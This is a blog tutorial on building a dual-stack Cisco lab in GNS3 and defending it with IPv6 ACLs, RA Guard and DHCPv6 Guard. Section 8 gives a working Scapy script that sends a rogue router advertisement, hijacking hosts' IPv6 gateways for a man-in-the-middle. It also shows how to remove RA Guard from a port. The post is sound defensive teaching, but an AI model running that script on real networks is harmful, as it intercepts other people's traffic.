DEV Community

Cover image for How I Built a Dual-Stack Enterprise Network and Demonstrated an IPv6 Hijack Attack (with Full Mitigation)
Ahmed El euch
Ahmed El euch

Posted on

How I Built a Dual-Stack Enterprise Network and Demonstrated an IPv6 Hijack Attack (with Full Mitigation)

I set up a full dual-stack enterprise network in GNS3, launched a silent IPv6 man-in-the-middle attack using nothing but a Python script — and then shut it down completely with a single switch policy. This post walks through every step: the topology, the ACLs, the attack, and the mitigation.


Table of Contents

  1. What This Project Is About
  2. The Threat: SLAAC Abuse
  3. Lab Setup
  4. Network Topology and Addressing
  5. Dual-Stack Configuration
  6. Parallel ACL Policy — IPv4 and IPv6
  7. RA Guard Deployment
  8. The Attack: Live SLAAC Hijack from Kali Linux
  9. Mitigation and Verification
  10. Lessons Learned
  11. Final Results

1. What This Project Is About

Most enterprise security teams have years of experience hardening IPv4. Firewalls, ACLs, ARP inspection, DHCP snooping — the whole stack is mature and well-understood.

But IPv6? It's usually an afterthought.

The problem is that dual-stack networks run both protocols simultaneously on the same physical links. If your IPv4 controls are airtight but your IPv6 is unmonitored, an attacker on the same segment can bypass everything — silently — using protocols and attack techniques that didn't exist when your security policy was written.

This project addresses that gap from scratch. Here's what I built and proved:

  • ✅ A full multi-VLAN dual-stack enterprise network in GNS3
  • ✅ Parallel ACL policies that give IPv6 the same level of control as IPv4
  • ✅ A live SLAAC abuse attack that silently hijacks all IPv6 traffic on a segment
  • ✅ RA Guard mitigation that kills the attack with zero host-side changes

Let's get into it.


2. The Threat: SLAAC Abuse

Before the configs, you need to understand why IPv6 is a problem.

In IPv4, getting a network address requires either manual config or a DHCP server. In IPv6, there's a third option called SLAAC — Stateless Address Autoconfiguration (RFC 4862).

Here's how it works normally:

  1. A router periodically broadcasts a Router Advertisement (RA) — an ICMPv6 type-134 packet — to the all-nodes multicast address ff02::1
  2. The RA contains a prefix (e.g. 2001:db8:2:10::/64)
  3. Every host on the segment receives it and automatically generates its own IPv6 address by appending a 64-bit interface ID to that prefix
  4. The router's link-local address becomes the host's default IPv6 gateway

This is elegant and stateless. It's also a security nightmare.

Here's the attack: nothing stops any host on the segment from sending its own RA. If an attacker broadcasts a forged RA advertising a prefix they control, with themselves listed as the default gateway — every host on the segment will:

  • Auto-configure an IPv6 address in the attacker's prefix
  • Install the attacker's link-local address as their default IPv6 route
  • Forward all outbound IPv6 traffic through the attacker first

The victims get no error, no warning, no prompt. The OS just follows RFC 4862 correctly. It's a full man-in-the-middle, achieved with a single Python script, requiring zero privileges on victim machines.

This is exactly what I demonstrated in this lab.


3. Lab Setup

What You Need

Component Details
Simulator GNS3 2.x with GNS3 VM
Router image Cisco IOSv (vios-adventerprisek9-m.vmdk)
Switch image Cisco IOSvL2 (vios_l2-adventerprisek9-m.vmdk) — IOS 15.2(4)S minimum
Attacker Kali Linux 2024 (GNS3 appliance)
Victims GNS3 VPCS × 3
Attack tool Python 3 + Scapy 2.5

IOS version matters. RA Guard — the primary mitigation — requires IOS 15.2(4)S or later on the switch. Check with show version before starting. If your image is older, the RA Guard commands will silently do nothing.

GNS3 Setup Steps

  1. Install GNS3 from gns3.com and configure the GNS3 VM
  2. Import your Cisco IOSv and IOSvL2 images via Edit → Preferences → IOS on UNIX
  3. Add Kali Linux from the GNS3 appliance marketplace (search "Kali")
  4. Create a new project: File → New blank project → dual-stack-security

4. Network Topology and Addressing

The Topology

          ┌─────────────────────────────┐
          │          CORE-RTR           │
          │   10.0.0.1 / 2001:db8::1   │
          └──────────────┬──────────────┘
                         │
                  802.1Q trunk
                  (VLANs 10, 99)
                         │
          ┌──────────────┴──────────────┐
          │           DIST-SW           │
          │  RA Guard · DHCPv6 Guard   │
          └──┬────┬────┬─────────────┬──┘
             │    │    │             │
           Gi0/1 Gi0/2 Gi0/3       Gi0/4
          VLAN10 VLAN10 VLAN10    VLAN99
           Corp1  Corp2  Corp3    Attacker
        10.1.0.10 .11   .12    172.16.0.10
Enter fullscreen mode Exit fullscreen mode

Three-tier design:

  • CORE-RTR — inter-VLAN routing, default gateway for all VLANs, ACL enforcement point
  • DIST-SW — VLAN segmentation, all Layer-2 IPv6 security controls live here
  • Access layer — Corp VPCS hosts (VLAN 10) and the isolated Kali attacker (VLAN 99)

IP Addressing Plan

Zone VLAN IPv4 Subnet IPv6 Prefix Gateway
Corp users 10 10.1.0.0/24 2001:db8:2:10::/64 .1 / ::1
Servers 20 10.2.0.0/24 2001:db8:2:20::/64 .1 / ::1
IoT / OT 30 10.3.0.0/24 2001:db8:2:30::/64 .1 / ::1
Guest / Attacker 99 172.16.0.0/24 2001:db8:99::/64 .1 / ::1

IPv6 prefixes use the 2001:db8::/32 documentation range (RFC 3849), appropriate for labs. In production, replace with your allocated GUA space.


5. Dual-Stack Configuration

Core Router (CORE-RTR)

The single most important command — and the most commonly forgotten:

! WITHOUT THIS, the router silently drops all inter-interface IPv6 packets.
! No error is generated. Everything just disappears.
ipv6 unicast-routing
Enter fullscreen mode Exit fullscreen mode

This is off by default on all Cisco routers. There's no warning when it's missing. I've seen experienced engineers spend an hour debugging IPv6 before realizing this line wasn't there.

With that in place, configure the sub-interfaces for each VLAN:

! Parent interface must be up first
interface GigabitEthernet0/1
  no shutdown

! VLAN 10 — Corp users
interface GigabitEthernet0/1.10
  description "Corp Users - VLAN 10"
  encapsulation dot1Q 10
  ip address 10.1.0.1 255.255.255.0        ! IPv4 gateway
  ipv6 address 2001:db8:2:10::1/64         ! IPv6 gateway
  ipv6 enable
  ipv6 nd prefix 2001:db8:2:10::/64        ! Advertise this prefix via SLAAC
  no shutdown

! VLAN 99 — Guest/Attacker (isolated)
interface GigabitEthernet0/1.99
  description "Guest / Attacker - VLAN 99"
  encapsulation dot1Q 99
  ip address 172.16.0.1 255.255.255.0
  ipv6 address 2001:db8:99::1/64
  ipv6 enable
  ipv6 nd ra suppress all                  ! No RAs on the attacker segment
  no shutdown
Enter fullscreen mode Exit fullscreen mode

The ipv6 nd ra suppress all on VLAN 99 means the attacker node receives no legitimate IPv6 prefix — they only get a link-local address. Which makes their rogue RA even more obvious when we inspect the packet later.

Distribution Switch (DIST-SW)

! Create VLANs
vlan 10
  name Corp-Users
vlan 99
  name Guest-Attacker

! Trunk to router — carries all VLANs
interface GigabitEthernet0/0
  description "Uplink to CORE-RTR"
  switchport trunk encapsulation dot1q
  switchport mode trunk
  switchport trunk allowed vlan 10,99
  no shutdown

! Corp access ports
interface range GigabitEthernet0/1-3
  switchport mode access
  switchport access vlan 10
  no shutdown

! Attacker port — isolated in VLAN 99
interface GigabitEthernet0/4
  description "Attacker-Kali"
  switchport mode access
  switchport access vlan 99
  no shutdown
Enter fullscreen mode Exit fullscreen mode

6. Parallel ACL Policy — IPv4 and IPv6

This is where most dual-stack networks fail. The IPv4 ACLs are thorough and well-maintained. The IPv6 ACLs either don't exist, or they're a half-hearted copy that misses critical rules.

My approach: strict 1:1 parity. Every IPv4 rule has an exact IPv6 counterpart at the same interface in the same direction. If you can't explain why a rule exists for IPv4 but not IPv6, it shouldn't be different.

The Parity Matrix

Security intent IPv4 rule IPv6 rule
Allow established TCP return established established
Allow DNS eq 53 eq 53
Allow HTTPS eq 443 eq 443
Allow ping icmp echo echo-request + echo-reply
Allow address resolution (ARP is L2, invisible to ACLs) nd-ns, nd-na ⚠️
Path MTU Discovery (L3 fragmentation) packet-too-big
Block lateral movement deny 172.16.0.0/12 deny 2001:db8:99::/64
Anti-spoofing (RFC 1918 filtering) deny FE80::/10
Implicit deny deny ip any any log deny ipv6 any any log

The ⚠️ on nd-ns and nd-na is intentional. This is the most critical IPv6-specific rule, and it has no IPv4 equivalent:

In IPv4, ARP operates at Layer 2 and is completely invisible to IP ACLs. In IPv6, Neighbor Discovery (NDP) — the replacement for ARP — runs inside ICMPv6. If you block ICMPv6 with a broad deny rule before explicitly permitting nd-ns and nd-na, hosts cannot resolve MAC addresses for any IPv6 destination. All IPv6 connectivity silently fails — even if your routing is perfectly configured.

IPv4 ACL

ip access-list extended ACL_V4_CORP_IN
  10 permit tcp any 10.1.0.0 0.0.0.255 established
  20 permit udp 10.1.0.0 0.0.0.255 host 10.2.0.53 eq 53
  30 permit tcp 10.1.0.0 0.0.0.255 host 10.2.0.53 eq 53
  40 permit tcp 10.1.0.0 0.0.0.255 any eq 443
  50 permit icmp 10.1.0.0 0.0.0.255 any echo
  60 deny   ip 10.1.0.0 0.0.0.255 172.16.0.0 0.0.255.255 log
  70 permit ip 10.1.0.0 0.0.0.255 any
  80 deny   ip any any log
Enter fullscreen mode Exit fullscreen mode

IPv6 ACL (mirror policy)

ipv6 access-list ACL_V6_CORP_IN
  ! Mirrors of IPv4 rules 10-50
  permit tcp any 2001:DB8:2:10::/64 established
  permit udp 2001:DB8:2:10::/64 host 2001:DB8:2:20::53 eq 53
  permit tcp 2001:DB8:2:10::/64 host 2001:DB8:2:20::53 eq 53
  permit tcp 2001:DB8:2:10::/64 any eq 443

  ! IPv6-ONLY: NDP must be permitted BEFORE any deny
  permit icmp any any nd-ns           ! Neighbor Solicitation (= ARP request)
  permit icmp any any nd-na           ! Neighbor Advertisement (= ARP reply)
  permit icmp any any packet-too-big  ! Path MTU Discovery
  permit icmp any any echo-request
  permit icmp any any echo-reply

  ! Anti-spoofing: link-local addresses must never be routed
  deny   ipv6 FE80::/10 any log

  ! Mirror of IPv4 rule 60 — block lateral movement
  deny   ipv6 2001:DB8:99::/64 2001:DB8:2:10::/64 log

  ! Mirror of rules 70-80
  permit ipv6 2001:DB8:2:10::/64 any
  deny   ipv6 any any log
Enter fullscreen mode Exit fullscreen mode

Apply Both ACLs

interface GigabitEthernet0/1.10
  ip access-group ACL_V4_CORP_IN in
  ipv6 traffic-filter ACL_V6_CORP_IN in
Enter fullscreen mode Exit fullscreen mode

7. RA Guard Deployment

RA Guard (RFC 6105) is the primary mitigation against rogue RAs. It operates at the switch ASIC — not the CPU — which means it enforces at wire speed with no performance penalty.

The concept is simple:

  • Ports connected to real routers get a router policy — RAs are forwarded
  • Ports connected to hosts get a host policy — any RA is silently dropped before it reaches the wire
! Policy for the uplink port facing CORE-RTR
ipv6 nd raguard policy RAGUARD_ROUTER
  device-role router
  trusted-port

! Policy for ALL access ports — Corp AND attacker
ipv6 nd raguard policy RAGUARD_HOST
  device-role host    ! Any RA arriving here is DROPPED

! Apply router policy to the uplink
interface GigabitEthernet0/0
  ipv6 nd raguard attach-policy RAGUARD_ROUTER

! Apply host policy to all access ports
interface range GigabitEthernet0/1-4
  ipv6 nd raguard attach-policy RAGUARD_HOST
Enter fullscreen mode Exit fullscreen mode

DHCPv6 Guard was also deployed as a companion control — it blocks rogue DHCPv6 server replies on access ports, closing the other half of the stateful IPv6 attack surface:

ipv6 dhcp guard policy DHCPV6_HOST
  device-role client

interface range GigabitEthernet0/1-4
  ipv6 dhcp guard attach-policy DHCPV6_HOST
Enter fullscreen mode Exit fullscreen mode

A common mistake: if you forget to attach RAGUARD_ROUTER to the uplink (Gi0/0), the real router's legitimate RAs are also dropped. Corp hosts never receive a prefix, SLAAC fails entirely, and it looks identical to a connectivity failure. Always verify both policies are attached.


8. The Attack: Live SLAAC Hijack from Kali Linux

This is the part that makes the risk concrete.

Setup on Kali

First, configure the Kali node's interface (it's in VLAN 99, isolated from Corp):

sudo ip addr add 172.16.0.10/24 dev eth0
sudo ip link set eth0 up
sudo ip route add default via 172.16.0.1

# Verify a link-local address was auto-generated (needed as the RA source)
ip -6 addr show eth0
# Should show: fe80::xxxx/64 scope link
Enter fullscreen mode Exit fullscreen mode

Disable RA Guard Temporarily (to demonstrate the attack)

On DIST-SW, remove the guard from the attacker port:

interface GigabitEthernet0/4
  no ipv6 nd raguard attach-policy RAGUARD_HOST
end
Enter fullscreen mode Exit fullscreen mode

The Attack Script

#!/usr/bin/env python3
# rogue_ra.py — SLAAC Abuse Demo
# For authorized lab use only — Ahmed El Euch

from scapy.all import *

rogue_ra = (
    Ether(dst="33:33:00:00:00:01")           # IPv6 all-nodes multicast MAC
    / IPv6(
        src="fe80::bad:1",                   # Attacker's spoofed link-local
        dst="ff02::1"                        # All nodes on segment receive this
    )
    / ICMPv6ND_RA(
        M=0,                                 # SLAAC mode (not managed/DHCPv6)
        routerlifetime=9000                  # "Trust me as your router for 2.5h"
    )
    / ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr("eth0"))
    / ICMPv6NDOptPrefixInfo(
        prefixlen=64,
        L=1,                                 # On-link flag
        A=1,                                 # Autonomous flag — TRIGGERS SLAAC
        validlifetime=0xffffffff,
        preferredlifetime=0xffffffff,
        prefix="2001:db8:dead::"             # Attacker-controlled prefix
    )
)

print("[*] Sending rogue RA to ff02::1 — all hosts on segment will receive this")
sendp(rogue_ra, iface="eth0", count=5, inter=0.5, verbose=True)
Enter fullscreen mode Exit fullscreen mode

Run it:

sudo python3 rogue_ra.py
Enter fullscreen mode Exit fullscreen mode

What Happens on the Victims

Check any Corp host immediately after:

show ipv6
Enter fullscreen mode Exit fullscreen mode

Before the attack — one address:

fe80::a8bb:ccff:fe00:1/64       link-local (normal)
2001:db8:2:10::a8bb:ccff:fe00:1/64   global — LEGITIMATE ✅
Enter fullscreen mode Exit fullscreen mode

After the attack — two addresses:

fe80::a8bb:ccff:fe00:1/64       link-local (normal)
2001:db8:2:10::a8bb:ccff:fe00:1/64   global — LEGITIMATE ✅
2001:db8:dead::a8bb:ccff:fe00:1/64   global — ROGUE ❌  ← NEW
Enter fullscreen mode Exit fullscreen mode

Check the default route on a Linux host:

ip -6 route show default
# default via fe80::bad:1 dev eth0 proto ra metric 100
#                   ^^^^
#          This is Kali's link-local address
#          ALL outbound IPv6 traffic now routes through the attacker
Enter fullscreen mode Exit fullscreen mode

The man-in-the-middle is established. No victim noticed anything. No alert fired. The OS just did what the RFC told it to do.


9. Mitigation and Verification

Re-enable RA Guard

interface GigabitEthernet0/4
  ipv6 nd raguard attach-policy RAGUARD_HOST
end
write memory
Enter fullscreen mode Exit fullscreen mode

Run the Exact Same Attack Again

Same script, same interface, same 5 packets. Then check Corp hosts:

show ipv6
Enter fullscreen mode Exit fullscreen mode

Result: only the legitimate address is present. The rogue 2001:db8:dead:: prefix never appears.

Check the Drop Counters on the Switch

DIST-SW# show ipv6 snooping statistics

  Packets received  :  5
  RA dropped        :  5    ← 100% of rogue RAs killed at the port ✅
  RA forwarded      :  0
Enter fullscreen mode Exit fullscreen mode

Every single rogue RA was silently discarded at the switch ASIC, before it reached any host's network stack. The legitimate router's RAs continued flowing uninterrupted through the trusted uplink policy on Gi0/0.

Full Verification Suite

! On CORE-RTR
show running-config | include ipv6 unicast-routing   ! Must return a line
show ipv6 interface brief                            ! All SVIs show dual-stack addresses
show ipv6 neighbors                                  ! Corp hosts visible in NDP table
show ip access-lists ACL_V4_CORP_IN                 ! Hit counts > 0 after traffic
show ipv6 access-list ACL_V6_CORP_IN               ! Hit counts > 0 after traffic

! On DIST-SW
show ipv6 nd raguard policy RAGUARD_HOST            ! Gi0/1-4 listed as targets
show ipv6 nd raguard policy RAGUARD_ROUTER          ! Gi0/0 listed as target
show ipv6 snooping statistics                       ! RA dropped counter active
show vlan brief                                     ! VLANs 10, 99 present
show interfaces trunk                               ! Gi0/0 trunking VLANs 10, 99
Enter fullscreen mode Exit fullscreen mode

10. Lessons Learned

Six things that tripped me up during this build — so you don't have to:

1. ipv6 unicast-routing is always the first thing to check.
If IPv6 isn't working on the router, this is almost certainly missing. There's no error when it's absent — traffic just drops silently.

2. show ipv6 unicast-routing does not exist.
The IOS command to verify it is show running-config | include ipv6 unicast-routing. This is a surprisingly common gotcha in documentation and tutorials.

3. RA Guard requires IOS 15.2(4)S minimum.
On older images, the commands are accepted without error but have no effect. Check show version before trusting your lab results.

4. The parent physical interface must be no shutdown.
Sub-interfaces remain down even if they have no shutdown individually, if the parent (Gi0/1) is still in its default shutdown state.

5. nd-ns and nd-na must come before any deny.
This breaks silently. Hosts can't ARP (NDP) so they can't communicate over IPv6, but the routing table looks fine. It's one of the harder bugs to diagnose.

6. Forgetting RAGUARD_ROUTER on the uplink looks identical to a connectivity failure.
If the real router's RAs are being dropped alongside the attacker's, SLAAC fails for everyone and you'll think there's a trunk or routing problem. Always check both policies.


11. Final Results

Test Expected Result
IPv6 routing enabled ipv6 unicast-routing in config ✅ Pass
Corp hosts SLAAC an address 2001:db8:2:10::xxxx assigned ✅ Pass
IPv4 ACL blocks lateral movement Corp → VLAN 99 denied ✅ Pass
IPv6 ACL parity with IPv4 Both ACLs show hit counts ✅ Pass
NDP not blocked nd-ns/nd-na permitted; NDP works ✅ Pass
Rogue RA lands (Guard OFF) Hosts adopt 2001:db8:dead:: ✅ Pass
RA Guard kills rogue RA Drop counter 5/5; no rogue address ✅ Pass
Legitimate RA unaffected 2001:db8:2:10:: retained ✅ Pass
DHCPv6 Guard applied device-role client on access ports ✅ Pass

All nine test cases passed. The key finding: RA Guard is a low-cost, high-impact control that requires zero changes on end hosts. It drops rogue RAs at the switch ASIC before they reach the wire, at line rate, with no CPU overhead.

But it only works as part of a complete security posture. The deeper lesson is the parallel policy principle: every IPv4 control needs an explicit IPv6 counterpart at the same enforcement point. Without that discipline, IPv6 is an open side-channel through an otherwise hardened network — and SLAAC abuse is exactly the kind of attack that exploits it.


Resources and Code

All configs, the attack script, and the full LaTeX report are available in the GitHub repository:

🔗 github.com/AhmedElEuch/dual-stack-security

dual-stack-security/
├── configs/
│   ├── router/CORE-RTR.cfg     ← Full dual-stack router config + ACLs
│   └── switch/DIST-SW.cfg      ← VLANs, RA Guard, DHCPv6 Guard
├── attack/
│   └── rogue_ra.py             ← Scapy rogue RA script
├── report/
│   └── dual_stack_report.tex   ← Full LaTeX report (compile in Overleaf)
└── docs/
    ├── ADDRESSING.md
    ├── ACL_POLICY.md
    └── RA_GUARD.md
Enter fullscreen mode Exit fullscreen mode

⚠️ The attack script is for authorized lab use only. Never run it on a network you don't own.


Ahmed El Euch — Network Security Engineering

Top comments (0)